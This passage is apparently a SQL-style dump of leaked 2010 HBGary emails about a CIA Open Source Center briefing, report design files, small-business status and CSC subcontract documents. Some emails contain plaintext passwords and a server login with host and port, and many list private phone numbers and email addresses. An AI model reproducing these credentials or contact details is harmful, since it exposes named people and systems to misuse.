days.\r\n\r\nhttp://www.afceasolutions.org\r\n\r\nCONFIRMED PLENARY SPEAKERS:\r\n--------------------------------------\r\n* VADM NANCY BROWN, USN (ret)\r\n* Dr. VINTON CERF, Vice President & Chief Internet Evangelist, Google, Inc.\r\n* Ms. DAWN MEYERRIECKS, Dep. Dir. of National Intel. for Acquisition and Technology, ODNI\r\n* LTG DENNIS VIA, USA, J6, The Joint Staff\r\n* Mr. DAVID WENNERGREN, DASD for Info. Mgmt. and Technology & DoD Deputy CIO\r\n\r\nSESSION TOPICS INCLUDE: \r\n-------------------------------\r\n- Situational and Domain Awareness \r\n- Controlled Unclassified Information \r\n- Streamlining Certification/Accreditation \r\n- New Emerging Technologies \r\n- Counter-IED Initiatives \r\n- Acquisition of C4I Systems \r\n\r\n\r\nTo be removed from our mailing list:\r\n\r\nhttp://www.afcea.org/remove.asp\r\n\r\n\r\n\r\n\r\n',5502,'aaron_hbgary_com/5502.html'),(6381,'2010-05-17','\"Sullivan, Shaun, CTR, OSD-ATL\" <Shaun.Sullivan.ctr@osd.mil>','/aaron@hbgary.com/new/1297004560.M764033P14101Q1236.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>,\"Purdy, Frank\" <fpurdy@logostech.net>,\"Looney, Harry, CTR, OSD-ATL\" <Harry.Looney.ctr@osd.mil>,\"Moore, Thomas, Mr, OSD-ATL\" <Thomas.Moore@osd.mil>,\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>,\"Leibner, Lincoln D LTC MIL USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Open Source Center briefing','Irv,\r\n\r\nI am free and would definitely like to attend.  \r\n\r\nI suggest we invite a representative of Helios Global Inc. (local), to wit.\r\nDr. Timothy Wittig -- who does open source exploitation on a variety of\r\nissues (counter terrorist and counter threat finance); and a representative\r\nof Flashpoint Partners (New York City)--Evan Kohlman, who also does open\r\nsource counter terrorist and counter threat finance collection and analysis.\r\n\r\nIf these invitees are acceptable, I can issue the invitations.\r\n\r\nShaun \r\n\r\nShaun Sullivan, Ph.D.\r\nOSD/ASC SCO \r\nContractor\r\nC-703-966-3219; O-703-746-1337\r\nNIPR:    shaun.sullivan.ctr@osd.mil\r\nSIPR:    shaun.sullivan.ctr@osd.smil.mil\r\nJWICS:  shaun.sullivan.ctr@osdj.ic.gov\r\n\r\n-----Original Message-----\r\nFrom: Lachow, Irving Mr OSD ATL \r\nSent: Monday, May 17, 2010 8:38 AM\r\nTo: \'Purdy, Frank\'; Sullivan, Shaun, CTR, OSD-ATL; Looney, Harry, CTR,\r\nOSD-ATL; Moore, Thomas, Mr, OSD-ATL; Hibbeln, Brian, Mr, OSD-ATL; Leibner,\r\nLincoln D LTC MIL USA DCS G-3/5/7; \'Aaron Barr\'\r\nSubject: Open Source Center briefing\r\n\r\nPeople from the CIA\'s Open Source Center are available to give us a\r\ncapabilities briefing on their social media work on July 21.  Are you all\r\nfree?  Can you suggest anyone else who might want to come?\r\n\r\n--Irv  \r\n\r\nIrving Lachow, Ph.D.\r\n\r\nDirector, Cyber Programs\r\n\r\nSpecial Capabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:  (703) 746-1226\r\n\r\nCell:  (202) 556-0591\r\n\r\n',4223,'aaron_hbgary_com/4223.html'),(6382,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004560.M975939P14101Q1237.eml','\"Greg Hoglund\" <greg@hbgary.com>','In design','Greg,\r\n\r\nCan I get the indd file for qenetiq and aurora report.  I have the\r\nsoftware and 30 day trial license.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',5056,'aaron_hbgary_com/5056.html'),(6383,'2010-05-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004561.M365516P14101Q1238.eml','\"Aaron Barr\" <aaron@hbgary.com>,rich@hbgary.com','Re: In design',' \r\nRich, Aaron,\r\n \r\nThe report indd files for the following:\r\n- Exploitaiton Assessment with REcon whitepaper\r\n- AD data sheet\r\n- Aurora whitepaper\r\n- QinetiQ report\r\n \r\ncan all be found in &#39;ReportTemplatesForBoyz.rar&#39; in Rich&#39;s home dir on support.  PW is meatflower.\r\n \r\nThere are some additional files for you in this rar:\r\n \r\nFonts directory - you want these fonts installed.\r\nTwo PPT files with the original pie charts used in QinetiQ&#39;s report.  You want these so you can make your own pie charts as needed.\r\n \r\n-Greg\r\nOn Mon, May 17, 2010 at 9:53 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,Can I get the indd file for qenetiq and aurora report.  I have thesoftware and 30 day trial license.\r\nAaron From my iPhone\r\n',2729,'aaron_hbgary_com/2729.html'),(6384,'2010-05-17','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297004561.M582859P14101Q1239.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: In design','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\ngreat thanks\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, May 17, 2010 1:23 PM\r\nTo: Aaron Barr; rich@hbgary.com\r\nSubject: Re: In design\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRich, Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe report indd files for the following:\r\n\r\n\r\n\r\n\r\n\r\n- Exploitaiton Assessment with REcon whitepaper\r\n\r\n\r\n\r\n\r\n\r\n- AD data sheet\r\n\r\n\r\n\r\n\r\n\r\n- Aurora whitepaper\r\n\r\n\r\n\r\n\r\n\r\n- QinetiQ report\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\ncan all be found in \'ReportTemplatesForBoyz.rar\' in Rich\'s\r\nhome dir on support.&nbsp; PW is meatflower.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThere are some additional files for you in this rar:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFonts directory - you want these fonts installed.\r\n\r\n\r\n\r\n\r\n\r\nTwo PPT files with the original pie charts used in QinetiQ\'s\r\nreport.&nbsp; You want these so you can make your own pie charts as needed.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, May 17, 2010 at 9:53 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nGreg,\r\n\r\nCan I get the indd file for qenetiq and aurora report. &nbsp;I have the\r\nsoftware and 30 day trial license.\r\n\r\nAaron\r\n\r\n&nbsp;From my iPhone\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2027,'aaron_hbgary_com/2027.html'),(6385,'2010-05-17','\"Looney, Harry, CTR, OSD-ATL\" <Harry.Looney.ctr@osd.mil>','/aaron@hbgary.com/new/1297004562.M15706P14101Q1240.eml','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>,\"Purdy, Frank\" <fpurdy@logostech.net>,\"Sullivan, Shaun, CTR, OSD-ATL\" <Shaun.Sullivan.ctr@osd.mil>,\"Moore, Thomas, Mr, OSD-ATL\" <Thomas.Moore@osd.mil>,\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>,\"Leibner, Lincoln D LTC MIL USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>,\"Aaron Barr\" <aaron@hbgary.com>,\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>,\"Purdy, Frank\" <fpurdy@logostech.net>,\"Sullivan, Shaun, CTR, OSD-ATL\" <Shaun.Sullivan.ctr@osd.mil>,\"Moore, Thomas, Mr, OSD-ATL\" <Thomas.Moore@osd.mil>,\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>,\"Leibner, Lincoln D LTC MIL USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Open Source Center briefing','Irv,\r\n\r\nI am open all day.  Suggest you invite Greg Bishop (all on the cc line),\r\nMark Race, Ben Phillips, Gregg Tubbs, Stacee McCausland, Matt Wickard, and\r\nDaniel Peterman.\r\n\r\nHarry\r\n\r\n-----Original Message-----\r\nFrom: Lachow, Irving Mr OSD ATL \r\nSent: Monday, May 17, 2010 8:38 AM\r\nTo: \'Purdy, Frank\'; Sullivan, Shaun, CTR, OSD-ATL; Looney, Harry, CTR,\r\nOSD-ATL; Moore, Thomas, Mr, OSD-ATL; Hibbeln, Brian, Mr, OSD-ATL; Leibner,\r\nLincoln D LTC MIL USA DCS G-3/5/7; \'Aaron Barr\'\r\nSubject: Open Source Center briefing\r\n\r\nPeople from the CIA\'s Open Source Center are available to give us a\r\ncapabilities briefing on their social media work on July 21.  Are you all\r\nfree?  Can you suggest anyone else who might want to come?\r\n\r\n--Irv  \r\n\r\nIrving Lachow, Ph.D.\r\n\r\nDirector, Cyber Programs\r\n\r\nSpecial Capabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:  (703) 746-1226\r\n\r\nCell:  (202) 556-0591\r\n\r\n',10264,'aaron_hbgary_com/10264.html'),(6386,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004562.M309801P14101Q1241.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: In design','Hey Greg,I don&#39;t think i have access to that?  If I do can u point me in the right direction.AaronSent from my iPadOn May 17, 2010, at 1:22 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n \r\nRich, Aaron,\r\n \r\nThe report indd files for the following:\r\n- Exploitaiton Assessment with REcon whitepaper\r\n- AD data sheet\r\n- Aurora whitepaper\r\n- QinetiQ report\r\n \r\ncan all be found in &#39;ReportTemplatesForBoyz.rar&#39; in Rich&#39;s home dir on support.  PW is meatflower.\r\n \r\nThere are some additional files for you in this rar:\r\n \r\nFonts directory - you want these fonts installed.\r\nTwo PPT files with the original pie charts used in QinetiQ&#39;s report.  You want these so you can make your own pie charts as needed.\r\n \r\n-Greg\r\nOn Mon, May 17, 2010 at 9:53 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,Can I get the indd file for qenetiq and aurora report.  I have thesoftware and 30 day trial license.\r\n\r\nAaron From my iPhone\r\n\r\n',8875,'aaron_hbgary_com/8875.html'),(6387,'2010-05-17','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297004562.M561150P14101Q1242.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: In design','Hello Aaron, Greg asked me to set you up a account on the support box.  Your UN is aaron and PW is asdf1234 change the PW when you get a chance.support.hbgary.com port 59022  let me know if you have any questions.\r\nOn Mon, May 17, 2010 at 11:12 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nChark,\r\nSet aaron up with a support.hbgary.com account.\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Mon, May 17, 2010 at 10:56 AM\r\nSubject: Re: In designTo: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\nHey Greg,\r\n\r\nI don&#39;t think i have access to that?  If I do can u point me in the right direction.\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn May 17, 2010, at 1:22 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n \r\nRich, Aaron,\r\n \r\nThe report indd files for the following:\r\n- Exploitaiton Assessment with REcon whitepaper\r\n- AD data sheet\r\n- Aurora whitepaper\r\n- QinetiQ report\r\n \r\ncan all be found in &#39;ReportTemplatesForBoyz.rar&#39; in Rich&#39;s home dir on support.  PW is meatflower.\r\n \r\nThere are some additional files for you in this rar:\r\n \r\nFonts directory - you want these fonts installed.\r\nTwo PPT files with the original pie charts used in QinetiQ&#39;s report.  You want these so you can make your own pie charts as needed.\r\n \r\n-Greg\r\nOn Mon, May 17, 2010 at 9:53 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nGreg,Can I get the indd file for qenetiq and aurora report.  I have thesoftware and 30 day trial license.\r\n\r\nAaron From my iPhone\r\n\r\n',1795,'aaron_hbgary_com/1795.html'),(6388,'2010-05-17','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004562.M809298P14101Q1243.eml','aaron@hbgary.com','HB Gary a Small Business ?','Aaron, \r\nIs HBGary a small business ?  I forgot and am working a proposal that\r\ncalls for small businesses.\r\nThanks, \r\n\r\nDoug\r\n\r\n\r\nDoug Harlow\r\nGeneral Dynamics AIS\r\n10560 Arrowhead Dr\r\nFairfax, VA 22030\r\nOffice: 703-277-1406\r\nMobile: 703-835-7243\r\n\r\n\r\n\r\n\r\n',14433,'aaron_hbgary_com/14433.html'),(6389,'2010-05-17','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004563.M357121P14101Q1245.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: HB Gary a Small Business ?','Thanks, \r\nDo you have any other small business qualification ?\r\nI.e. disadvantaged, women owned, HubZone or service disabled vet ?\r\nThe RFP we\'re working is pretty specific.\r\nCheers,\r\nDoug\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 17, 2010 2:45 PM\r\nTo: Harlow, Douglas M.\r\nSubject: Re: HB Gary a Small Business ?\r\n\r\nHi Doug,\r\n\r\nWe are a small business.\r\n\r\nAaron\r\n\r\nOn May 17, 2010, at 2:42 PM, Harlow, Douglas M. wrote:\r\n\r\n> Aaron, \r\n> Is HBGary a small business ?  I forgot and am working a proposal that\r\n> calls for small businesses.\r\n> Thanks, \r\n> \r\n> Doug\r\n> \r\n> \r\n> Doug Harlow\r\n> General Dynamics AIS\r\n> 10560 Arrowhead Dr\r\n> Fairfax, VA 22030\r\n> Office: 703-277-1406\r\n> Mobile: 703-835-7243\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13363,'aaron_hbgary_com/13363.html'),(6390,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004563.M625694P14101Q1246.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: HB Gary a Small Business ?','Are we woman owned?AaronBegin forwarded message:From: \"Harlow, Douglas M.\" &lt;Douglas.Harlow@gd-ais.com&gt;Date: May 17, 2010 2:53:52 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: HB Gary a Small Business ?Thanks, Do you have any other small business qualification ?I.e. disadvantaged, women owned, HubZone or service disabled vet ?The RFP we\'re working is pretty specific.Cheers,Doug-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, May 17, 2010 2:45 PMTo: Harlow, Douglas M.Subject: Re: HB Gary a Small Business ?Hi Doug,We are a small business.AaronOn May 17, 2010, at 2:42 PM, Harlow, Douglas M. wrote:Aaron, Is HBGary a small business ? &nbsp;I forgot and am working a proposal thatcalls for small businesses.Thanks, DougDoug HarlowGeneral Dynamics AIS10560 Arrowhead DrFairfax, VA 22030Office: 703-277-1406Mobile: 703-835-7243Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12812,'aaron_hbgary_com/12812.html'),(6391,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004563.M83157P14101Q1244.eml','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','Re: HB Gary a Small Business ?','Hi Doug,\r\n\r\nWe are a small business.\r\n\r\nAaron\r\n\r\nOn May 17, 2010, at 2:42 PM, Harlow, Douglas M. wrote:\r\n\r\n> Aaron, \r\n> Is HBGary a small business ?  I forgot and am working a proposal that\r\n> calls for small businesses.\r\n> Thanks, \r\n> \r\n> Doug\r\n> \r\n> \r\n> Doug Harlow\r\n> General Dynamics AIS\r\n> 10560 Arrowhead Dr\r\n> Fairfax, VA 22030\r\n> Office: 703-277-1406\r\n> Mobile: 703-835-7243\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10640,'aaron_hbgary_com/10640.html'),(6392,'2010-05-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004563.M860011P14101Q1247.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HB Gary a Small Business ?','Penny owns over 50%, so yes I think. On May 17, 2010, at 12:59 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAre we woman owned?AaronBegin forwarded message:\r\nFrom: &quot;Harlow, Douglas M.&quot; &lt;Douglas.Harlow@gd-ais.com&gt;\r\nDate: May 17, 2010 2:53:52 PM EDT\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: HB Gary a Small Business ?\r\nThanks, Do you have any other small business qualification ?I.e. disadvantaged, women owned, HubZone or service disabled vet ?The RFP we&#39;re working is pretty specific.Cheers,Doug\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, May 17, 2010 2:45 PMTo: Harlow, Douglas M.Subject: Re: HB Gary a Small Business ?\r\nHi Doug,We are a small business.AaronOn May 17, 2010, at 2:42 PM, Harlow, Douglas M. wrote:Aaron, Is HBGary a small business ?  I forgot and am working a proposal that\r\ncalls for small businesses.Thanks, Doug\r\nDoug HarlowGeneral Dynamics AIS10560 Arrowhead Dr\r\nFairfax, VA 22030Office: 703-277-1406Mobile: 703-835-7243\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',13429,'aaron_hbgary_com/13429.html'),(6393,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004567.M714641P14101Q1249.eml','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','Re: HB Gary a Small Business ?','Woman owned.\r\n\r\nOn May 17, 2010, at 2:53 PM, Harlow, Douglas M. wrote:\r\n\r\n> Thanks, \r\n> Do you have any other small business qualification ?\r\n> I.e. disadvantaged, women owned, HubZone or service disabled vet ?\r\n> The RFP we\'re working is pretty specific.\r\n> Cheers,\r\n> Doug\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, May 17, 2010 2:45 PM\r\n> To: Harlow, Douglas M.\r\n> Subject: Re: HB Gary a Small Business ?\r\n> \r\n> Hi Doug,\r\n> \r\n> We are a small business.\r\n> \r\n> Aaron\r\n> \r\n> On May 17, 2010, at 2:42 PM, Harlow, Douglas M. wrote:\r\n> \r\n>> Aaron, \r\n>> Is HBGary a small business ?  I forgot and am working a proposal that\r\n>> calls for small businesses.\r\n>> Thanks, \r\n>> \r\n>> Doug\r\n>> \r\n>> \r\n>> Doug Harlow\r\n>> General Dynamics AIS\r\n>> 10560 Arrowhead Dr\r\n>> Fairfax, VA 22030\r\n>> Office: 703-277-1406\r\n>> Mobile: 703-835-7243\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5595,'aaron_hbgary_com/5595.html'),(6394,'2010-05-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004567.M85315P14101Q1248.eml','\"Edna Robinson\" <erobinson6@csc.com>','Re: CTSC - Documents - HB Gray','A bit more delayed.\r\n\r\nHere you go.\r\n\r\n\r\n\r\nAaron\r\n\r\nOn May 12, 2010, at 5:19 PM, Edna Robinson wrote:\r\n\r\n> \r\n> Good Afternoon Aaron, \r\n> \r\n> As of today I have not received a response regarding the CTSC MOU or additional documents required. \r\n> \r\n> Please provide a status. \r\n> \r\n> Thanks \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> \r\n> From:	Edna Robinson/USA/CSC\r\n> To:	Aaron Barr \r\n> Cc:	Paul Rooney/USA/CSC@CSC, Phillip S Peak/FED/CSC@CSC\r\n> Date:	05/04/2010 03:14 PM\r\n> Subject:	Re: CTSC - Documents\r\n> \r\n> \r\n> \r\n> Good Afternoon Aaron, \r\n> \r\n> Per the discussions that CSC has had regarding the Cyber Technology Services Contract (CTSC) opportunity, attached is a “Draft Memorandum of Understanding” for your review and response.   We value the capabilities and services that you bring and look forward to working together in winning this important work. \r\n> \r\n> \r\n> \r\n> \r\n> In addition to the MOU, the following documents are also required. \r\n> \r\n> \r\n> \r\n> Please review, update, and return the required documents at your earliest convenience. \r\n> \r\n> If you have any questions, please do not hesitate to ask. \r\n> \r\n> Thanks \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> \r\n> \r\n> From:	Edna Robinson/USA/CSC\r\n> To:	Aaron Barr \r\n> Cc:	Paul Rooney/USA/CSC@CSC, Phillip S Peak/FED/CSC@CSC\r\n> Date:	04/26/2010 01:58 PM\r\n> Subject:	Re: CTSC Non Disclosure Agreement\r\n> \r\n> \r\n> \r\n> Aaron, \r\n> \r\n> Please find the CTSC NDA full executed. \r\n> \r\n> [attachment \"CTSC Non-Disclosure Agreement. - HB Gray.pdf\" deleted by Edna Robinson/USA/CSC] \r\n> \r\n> Thanks \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> \r\n> \r\n> From:	Aaron Barr \r\n> To:	Edna Robinson/USA/CSC@CSC\r\n> Date:	04/26/2010 11:09 AM\r\n> Subject:	Re: CTSC Non Disclosure Agreement\r\n> \r\n> \r\n> \r\n> \r\n> Here you go. \r\n> \r\n> Aaron \r\n> [attachment \"CSC CTSC NDA_0_20100426_1107.pdf\" deleted by Edna Robinson/USA/CSC] \r\n> \r\n> On Apr 21, 2010, at 10:10 AM, Edna Robinson wrote: \r\n> \r\n> \r\n> Good Morning Aaron, \r\n> \r\n> Let me know if you can open this one. \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> From:	Aaron Barr \r\n> To:	Edna Robinson/USA/CSC@CSC\r\n> Date:	04/21/2010 09:28 AM\r\n> Subject:	Re: CTSC Non Disclosure Agreement\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Hi Edna, \r\n> \r\n> Could you resend this document.  I am getting a corruption error.  It might be on my end, I am on a Mac. \r\n> \r\n> Thank you, \r\n> Aaron \r\n> \r\n> On Apr 20, 2010, at 3:13 PM, Edna Robinson wrote: \r\n> \r\n> \r\n> Good Afternoon Mr. Aron, \r\n> \r\n> Please sign an return the attached Non Disclosure agreement at your earliest convenience so that it may be Fully Executed prior to your meeting \r\n> with Paul Rooney. \r\n> \r\n> \r\n> \r\n> Thanks \r\n> \r\n> Edna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.comEdna Robinson \r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n> \r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n> \r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. \r\n> NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose. \r\n> \r\n> Aaron Barr \r\n> CEO \r\n> HBGary Federal Inc. \r\n> \r\n> \r\n>  \r\n> \r\n> Aaron Barr \r\n> CEO \r\n> HBGary Federal Inc. \r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',492,'aaron_hbgary_com/492.html'),(6395,'2010-05-17','\"Edna Robinson\" <erobinson6@csc.com>','/aaron@hbgary.com/new/1297004569.M897732P14101Q1250.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: CTSC - Documents - HB Gray','\r\nAaron,\r\n\r\nYour response is appreciated. &nbsp;As\r\ndiscussed, the Reps and Sub Questionnaire did not populate \r\nall of the responses. &nbsp;Please take\r\na look and let me know if you have questions let me know.\r\n\r\nThanks\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nEdna Robinson/USA/CSC@CSC\r\n\r\nDate:\r\n05/17/2010 03:02 PM\r\n\r\nSubject:\r\nRe: CTSC - Documents - HB Gray\r\n\r\n\r\n\r\n\r\nA bit more delayed.\r\n\r\nHere you go.\r\n\r\nAaron\r\n\r\nOn May 12, 2010, at 5:19 PM, Edna Robinson wrote:\r\n\r\n\r\nGood Afternoon Aaron, \r\n\r\nAs of today I have not received a response regarding the CTSC MOU or additional\r\ndocuments required. \r\n\r\nPlease provide a status. \r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose. \r\n\r\n\r\n\r\n\r\nFrom:\r\n\r\nEdna Robinson/USA/CSC\r\n\r\n\r\nTo:\r\n\r\nAaron Barr 